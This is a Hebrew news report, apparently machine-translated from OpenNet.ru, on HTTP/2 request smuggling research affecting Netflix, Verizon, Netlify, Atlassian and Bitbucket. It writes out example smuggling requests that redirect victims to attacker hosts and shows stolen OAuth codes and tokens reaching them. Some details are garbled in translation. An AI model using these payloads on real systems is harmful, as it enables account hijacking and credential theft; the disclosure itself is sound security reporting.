התקפה חדשה על מערכות חזית-אנד-עורפי המאפשרת לך להשתלב בבקשות

מערכות אינטרנט שבהן ה-frontend מקבל חיבורים באמצעות HTTP/2 ומשדר ל-backend באמצעות HTTP/1.1 נחשפו לגרסה חדשה של התקפת HTTP Request Smuggling, המאפשרת, באמצעות שליחת בקשות לקוח שתוכננו במיוחד, להשתלב בתוכן. של בקשות ממשתמשים אחרים שעובדו באותה זרימה בין קצה קצה לקצה. ניתן להשתמש במתקפה כדי להכניס קוד JavaScript זדוני להפעלה עם אתר לגיטימי, לעקוף מערכות בקרת גישה וליירט פרמטרים של אימות.

הבעיה משפיעה על פרוקסי אינטרנט, מאזני עומסים, מאיצי רשת, מערכות אספקת תוכן ותצורות אחרות שבהן בקשות מופנות מחדש לפי סכמת ה-front-end-backend. מחבר המחקר הדגים את היכולת לתקוף מערכות ב-Netflix, Verizon, Bitbucket, Netlify CDN ו-Atlassian, וקיבל 56 דולר בתוכניות פרס של פגיעות. הבעיה אושרה גם במוצרי F5 Networks. הבעיה משפיעה באופן חלקי על mod_proxy בשרת ה-Apache http (CVE-2021-33193), תיקון צפוי בגרסה 2.4.49 (המפתחים קיבלו הודעה על הבעיה בתחילת מאי וקיבלו 3 חודשים לתקן אותה). ב-nginx, היכולת לציין את הכותרות "אורך-תוכן" ו-"קידוד העברה" בו-זמנית נחסמה במהדורה האחרונה (1.21.1). כלי התקפה כבר נוספו לערכת הכלים של Burp והם זמינים בתור הרחבה של Turbo Intruder.

עקרון הפעולה של השיטה החדשה של תירוז בקשות לתעבורה דומה לפגיעות שזיהתה אותו חוקר לפני שנתיים, אך מוגבל לחזיתות המקבלות בקשות דרך HTTP/1.1. נזכיר שבסכמת ה-frontend-backend, בקשות לקוח מתקבלות על ידי צומת נוסף - ה-frontend, אשר יוצר חיבור TCP ארוך טווח עם ה-backend המעבד ישירות בקשות. דרך החיבור המשותף הזה מועברות בדרך כלל בקשות של משתמשים שונים, העוקבות אחר השרשרת בזו אחר זו, מופרדות באמצעות פרוטוקול HTTP.

התקפת "הברחת בקשת HTTP" הקלאסית התבססה על העובדה ש-frontends ו-backends מפרשים את השימוש בכותרות HTTP "Content-Length" (קובע את הגודל הכולל של הנתונים בבקשה) ו-"Transfer-Encoding: chunked" ( מאפשר העברת נתונים בחלקים) בצורה שונה . לדוגמה, אם ה-frontend תומך רק ב-"Content-Length" אבל מתעלם מ-"Transfer-Encoding: chunked", אז תוקף יכול לשלוח בקשה שמכילה גם את הכותרות "Content-Length" וגם "Transfer-Encoding: chunked", אבל הגודל הוא "תוכן-אורך" אינו תואם את גודל השרשרת החתוכה. במקרה זה, ה-frontend יעבד וינתב מחדש את הבקשה בהתאם ל-Content-Length, וה-backend ימתין להשלמת החסימה בהתבסס על "Transfer-Encoding: chunked" והזנב הנותר של בקשת התוקף יהיה בתחילת הבקשה הזרה ששודרה לאחר מכן.

שלא כמו פרוטוקול HTTP/1.1 מבוסס טקסט, שמנתח ברמת השורה, HTTP/2 הוא פרוטוקול בינארי ומבצע מניפולציות על בלוקי נתונים בגודל קבוע מראש. עם זאת, HTTP/2 משתמש בכותרות פסאודו המתאימות לכותרות HTTP רגילות. בעת אינטראקציה עם הקצה האחורי באמצעות HTTP/1.1, ה-frontend מתרגם את הכותרות הפסאודו אלה לכותרות HTTP/1.1 דומות של HTTP. הבעיה היא שה-backend מקבל החלטות לגבי ניתוח הזרם על סמך כותרות ה-HTTP שנקבעו על ידי ה-frontend, מבלי לדעת את הפרמטרים של הבקשה המקורית.

כולל בצורת פסאודו-כותרות, ניתן להעביר את הערכים "אורך-תוכן" ו-"קידוד העברה", למרות העובדה שהם אינם בשימוש ב-HTTP / 2, שכן גודל כל הנתונים נקבע ב- שדה נפרד. עם זאת, בתהליך המרת בקשת HTTP/2 ל-HTTP/1.1, הכותרות הללו מועברות ויכולות לבלבל את הקצה העורפי. ישנן שתי אפשרויות התקפה עיקריות: H2.TE ו-H2.CL, שבהן הקצה האחורי מטעה על ידי קידוד העברה שגוי או ערך אורך תוכן שאינו מתאים לגודל האמיתי של גוף הבקשה שהתקבל על ידי ה-frontend באמצעות פרוטוקול HTTP / 2.

כדוגמה להתקפת H2.CL, הפסאודו-כותרת של אורך התוכן פגומה בעת שליחת בקשת HTTP/2 לנטפליקס. בקשה זו גורמת להוספת כותרת HTTP דומה באורך Content-Length בעת גישה ל-backend דרך HTTP/1.1, אך מכיוון שהגודל ב-Content-Length קטן מהגודל האמיתי, חלק מהנתונים בזנב מעובדים כהתחלה של הבקשה הבאה.

לדוגמה, בקשה HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 מארח: 02.rs?x.netflix.com Foo: bar

ישלח בקשה לקצה העורפי: POST /n HTTP/1.1 מארח: www.netflix.com אורך תוכן: 4 abcdGET /n HTTP/1.1 מארח: 02.rs?x.netflix.com Foo: bar

מכיוון ש-Content-Length מוגדר ל-4, הקצה האחורי יקבל רק "abcd" כגוף הבקשה, ויעבד את שאר ה-"GET /n HTTP/1.1..." כתחילת הבקשה הבאה המחוברת למשתמש אחר. בהתאם לכך, הזרם לא יהיה מסונכרן, ובתגובה לבקשה הבאה תוחזר תוצאת עיבוד הבקשה המזויפת. במקרה של נטפליקס, ציון מארח צד שלישי בכותרת "מארח:" בבקשה מזויפת הביא לתגובה "מיקום: https://02.rs?x.netflix.com/n" ללקוח ו- אפשר להעביר תוכן שרירותי ללקוח, כולל ביצוע קוד ה-JavaScript שלך בהקשר של אתר Netflix.

הגרסה השנייה של ההתקפה (H2.TE) קשורה להחלפת הכותרת "Transfer-Encoding: chunked". השימוש ב-Pseudo-header של קידוד ההעברה ב-HTTP/2 אסור על פי המפרט, ובקשות עמו נקבעות להתייחס כלא נכונות. למרות זאת, כמה יישומי קצה מתעלמים מהדרישה הזו ומאפשרים שימוש ב-Pseudo-header של קידוד העברה ב-HTTP/2, שמתורגם לכותרת HTTP דומה. אם הכותרת "קידוד העברה" קיימת, הקצה האחורי יכול לקחת אותה בראש סדר העדיפויות ולנתח את הנתונים בחלקים במצב "נתחים" באמצעות בלוקים בגדלים שונים בפורמט "{גודל}\r\n{בלוק} \r\n{גודל} \r\n{בלוק}\r\n0" למרות החלוקה הראשונית לפי גודל כללי.

נוכחותו של פער כזה הוכחה בדוגמה של Verizon. עם זאת, הבעיה נגעה בפורטל האימות ובמערכת ניהול התוכן, המשמשת גם אתרים כמו Huffington Post ו-Engadget. לדוגמה, בקשת לקוח דרך HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com העברה-קידוד חתיכה 0 GET /oops HTTP/1.1 מארח: psres.net אורך תוכן: 10 x=

גרם לבקשת HTTP/1.1 ל-backend: POST /identity/XUI HTTP/1.1 מארח: id.b2b.oath.com אורך תוכן: 66 העברה-קידוד: chunked 0 GET /oops HTTP/1.1 מארח: psres.net Content- Length : 10x=

הקצה האחורי, בתורו, התעלם מהכותרת "אורך תוכן" וביצע פיצול בזרם על בסיס "קידוד העברה: חתיכות". בפועל, המתקפה אפשרה להפנות בקשות משתמשים לאתר שלך, לרבות יירוט בקשות הקשורות לאימות OAuth, שהפרמטרים שלהן הופיעו ב-Referer, וכן הדמיית הפעלת אימות וייזום שליחת אישורי משתמש ל- המארח של התוקף. GET /b2blanding/show/oops HTTP/1.1 מארח: psres.net מפנה: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 מארח: psres.net הרשאה: נושאת eyJhcGwiOiJIUzI1Gi1sInR6cCI6…

כדי לתקוף יישומי HTTP/2 שאינם מאפשרים לציין את הפסאודו-הכותרת של קידוד ההעברה, הוצעה שיטה אחרת הכוללת החלפת הכותרת "קידוד העברה" על ידי צירופה לכותרות פסאודו אחרות המופרדות על ידי תו חדש (כשהיא מומרת ל-HTTP/1.1 במקרה זה, נוצרות שתי כותרות HTTP נפרדות).

לדוגמה, Atlassian Jira ו-Netlify CDN (המשמשים לשרת את דף הפתיחה של Mozilla ב-Firefox) הושפעו מבעיה זו. באופן ספציפי, בקשת ה-HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n קידוד העברה: chunked 0\r\n \r\n GET / HTTP/1.1\r\n מארח : evil-netlify-domain\r\n אורך תוכן: 5\r\n \r\nx=

גרם לבקשת HTTP/1.1 POST / HTTP/1.1 להישלח אל הקצה האחורי\r\n מארח: start.mozilla.org\r\n Foo: b\r\n העברה-קידוד: chunked\r\n תוכן- אורך: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n מארח: evil-netlify-domain\r\n אורך תוכן: 5\r\n \ r\nx=

אפשרות נוספת להחלפת הכותרת "העברה-קידוד" הייתה לצרף אותה לשם של פסאודו-כותרת אחרת או למחרוזת עם שיטת בקשה. לדוגמה, בעת גישה ל-Atlassian Jira, השם של הפסאודו-כותרת "foo: bar\r\ntransfer-encoding" עם הערך "chunked" הביא להוספת כותרות ה-HTTP "foo: bar" ו-"transfer-encoding" : chunked", וציון ב-pseudo-header ":method" של הערך "GET / HTTP/1.1\r\nTransfer-encoding: chunked" תורגם ל-"GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

החוקר שזיהה את הבעיה הציע גם טכניקת מנהור בקשה לתקוף את החזיתות, שבה נוצר חיבור נפרד ל-backend עבור כל כתובת IP והתנועה של משתמשים שונים אינה מעורבת. הטכניקה המוצעת אינה מאפשרת לך להתערב בבקשות של משתמשים אחרים, אך היא מאפשרת להרעיל את המטמון המשותף, המשפיע על עיבוד בקשות אחרות, ומאפשרת לך לבצע החלפה של כותרות HTTP פנימיות המשמשות להעברת מידע שירות מ- ה-frontend ל-backend (לדוגמה, בעת אימות בצד ה-frontend בכותרות כאלה יכול לשלוח מידע על המשתמש הנוכחי ל-backend). כדוגמה ליישום השיטה בפועל, באמצעות הרעלת מטמון, ניתן היה להשיג שליטה על הדפים בשירות Bitbucket.

מקור: OpenNet.ru